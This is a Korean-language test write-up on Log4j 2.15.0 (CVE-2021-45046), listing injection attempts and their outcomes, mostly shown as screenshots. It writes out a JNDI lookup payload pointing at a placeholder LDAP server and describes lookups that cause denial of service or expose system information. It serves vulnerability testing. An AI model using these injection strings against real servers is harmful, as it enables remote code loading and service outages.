Exploit for Expression Language Injection in Apache Log4J CVE-2021-45046 CVE-2021-44228

## https://sploitus.com/exploit?id=0D243A34-B42E-5007-90D0-A30ECABDA204
log4j RCE (CVE-2021-44228)이 2.15에서 패치되었지만, CVE-2021-45046 (DoS 유발) 취약점이 새로 발견되었음.
아래는 테스트 해본 결과.

[테스트 환경]
log4j-2.15.0 (api , core)
JRE-1.8.0
jdk1.8.0_151
Eclipse IDE (Maven Project)

1. Log4j RCE (CVE-2021-44228) 구문 테스트 -> Not Vuln

![image](https://user-images.githubusercontent.com/70466565/146639780-c2ccb224-b72b-462e-ba02-0c2045c7cb30.png)

2. 임의의 ctx 객체명을 삽입 -> Not vuln

![image](https://user-images.githubusercontent.com/70466565/146639782-f24f8876-e954-42aa-a148-d32e1fb2eb9c.png)

3. context를 받는 객체와 동일한 이름으로 삽입하는 경우 -> infinite loop 로 DoS 발생

![image](https://user-images.githubusercontent.com/70466565/146639787-aea999b8-e0ae-4106-be7b-04f70d1c933a.png)

4. ${jndi:ldap://127.0.0.1#[ldap 서버 주소]} 형태로 삽입 -> UnknownHostException 발생, DoS 미발생

![image](https://user-images.githubusercontent.com/70466565/146639795-a6349de8-8bda-40ae-81df-85e59f21dea3.png)

5. jndi:ldap://[ldap서버]#[ldap서버] 형태 -> Not vuln

![image](https://user-images.githubusercontent.com/70466565/146639814-57b93e1d-4f00-4d3a-80a3-3c2987835657.png)

6. Java 코드 삽입 -> illegalArgmumentException 으로 DoS 발생

![image](https://user-images.githubusercontent.com/70466565/146639850-ac43fe34-bb58-4563-9442-d8aaf8d03a98.png)


7-1. Java 구문 삽입 -> System info exposure

![image](https://user-images.githubusercontent.com/70466565/146639820-137e5778-9997-4eb3-ac28-c5a079c8a1ff.png)

7-2. Java 구문 삽입 ->illegalArgmumentException , DoS 발생

![image](https://user-images.githubusercontent.com/70466565/146639859-a0ac8422-7fca-476c-8bde-0f729d7a35b8.png)

-> illegalArgumentException 발생 지점 확인 시 Switch case 문으로 2-5에서 System info exposure 가능한 Java 구문 (${java:version} 은
의도된 루틴으로 보임.

![image](https://user-images.githubusercontent.com/70466565/146639864-735dc8cf-cdd4-4448-ac85-08866e0fbcda.png)